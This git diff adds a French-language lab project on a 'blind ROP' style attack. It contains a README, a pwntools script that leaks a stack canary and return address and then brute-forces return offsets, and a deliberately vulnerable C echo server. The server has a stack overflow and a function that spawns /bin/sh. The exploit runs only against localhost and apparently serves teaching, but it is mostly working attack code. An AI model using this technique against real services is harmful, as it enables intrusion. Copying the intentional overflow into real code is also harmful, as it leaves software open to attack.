diff --git a/attaque_brop/README.md b/attaque_brop/README.md new file mode 100644 index 0000000..2a54d83 --- /dev/null +++ b/attaque_brop/README.md @@ -0,0 +1,26 @@ +# Attaque "blind ROP" +## Instructions +### Compilation du programme vulnérable : +`gcc echo.c -o echo` + +### Installation du module python pwn +`pip install pwn` + +### Lancement du programme vulnérable en le liant à un port tcp +`socat -v tcp-l:31337,fork exec:'./echo'` + +### Attaque +`python3 attaque.py` + +On peut ajouter `DEBUG` en paramètre pour voir les données envoyées +et reçues. + +## Résultats +On peut exécuter la fonction C `brop()` en écrasant l'adresse +de retour par son adresse. Pour cela, on récupère d'abord le canary, +puis la véritable adresse de retour. On peut ensuite écraser le +canary et rbp par leur valeur, puis l'addresse de retour par sa +valeur + un offset, et ce jusqu'à trouver `brop()`. +On voit qu'on arrive à exécuter des instructions qui appartiennent +à `brop()`, car on voit le print "brop". + diff --git a/attaque_brop/attaque.py b/attaque_brop/attaque.py new file mode 100644 index 0000000..ea0b57a --- /dev/null +++ b/attaque_brop/attaque.py @@ -0,0 +1,68 @@ +from pwn import * + +p = connect("127.0.0.1", 31337) + +p.send(b'h') +time.sleep(0.2) +first_recv = p.recv(numb=10000, timeout=1) +print(first_recv) + +payload = b"A" * 4 + +# Leak the canary +p.send(payload + b'\x01') +time.sleep(0.2) +leak = p.recv().strip(payload) +print("leak = " + leak.hex(' ')) + +# Extract canary from the leak +stack_canary = b'\x00' + leak[1:8] +print("canary = " + stack_canary.hex(' ')) + +# overwrite it with the same value to check that it is correct +p.send(payload + stack_canary) +time.sleep(0.2) +received = p.recv() + +if received != payload: + print("[!] Failed to leak stack canary") + exit(1) + +print(f"[+] Stack canary is 0x{stack_canary.hex()}") + +# Guess the program base address + +# First address + +p.send(payload + b"A" * 8) +time.sleep(0.2) +leak = p.recv().strip(b"A").strip(b"You broke the internet!\n") +print(len(leak)) +rbp = leak + b"\x00" * (8 - len(leak)) +print(hex(int.from_bytes(rbp, "little", signed=False))) + +# Second address + +p.send(payload + b"A" * 16) +time.sleep(0.2) +leak = p.recv().strip(b"A").strip(b"You broke the internet!\n") +print(len(leak)) +if len(leak) == 5: + retAddress = b"\x00" + leak + b"\x00" * (7 - len(leak)) +else: + retAddress = leak + b"\x00" * (8 - len(leak)) +print(hex(int.from_bytes(retAddress, "little", signed=False))) + +# iterator = iter(range(0x1000)) +for offset in range(70, 150): + testedAddr = (int.from_bytes(retAddress, "little") - offset).to_bytes(8, "little") + print(f"----- testing address {hex(int.from_bytes(testedAddr, 'little', signed=False))} ------") + p.send(payload + stack_canary + rbp + testedAddr) # + b"A" * 128) + time.sleep(0.2) + received = p.recv(timeout=0.5) + print(received) + if received.find(b"brop") != -1: + print("#######################") +# +# 7ffe388f02c0 +# 55f8236e12aa diff --git a/attaque_brop/echo.c b/attaque_brop/echo.c new file mode 100644 index 0000000..64895e3 --- /dev/null +++ b/attaque_brop/echo.c @@ -0,0 +1,38 @@ +#include +#include +#include +#include + +int echo_service(){ + char x[4]; + read(0, x, 50); + printf("%s", x); + fflush(stdout); + return 0; +} + +void brop() { + system("/bin/sh"); + printf("brop"); + fflush(stdout); +} + +int main(void) { + printf("%p\n", &main); + printf("%p\n", &brop); + printf("%lu\n", (unsigned long)&main - (unsigned long)&brop); + fflush(stdout); + while(1) { + if (fork() == 0) { + echo_service(); + return 0; + } + int status; + wait(&status); + if (status != 0) { + puts("You broke the internet!"); + fflush(stdout); + } + } + return 0; +} \ No newline at end of file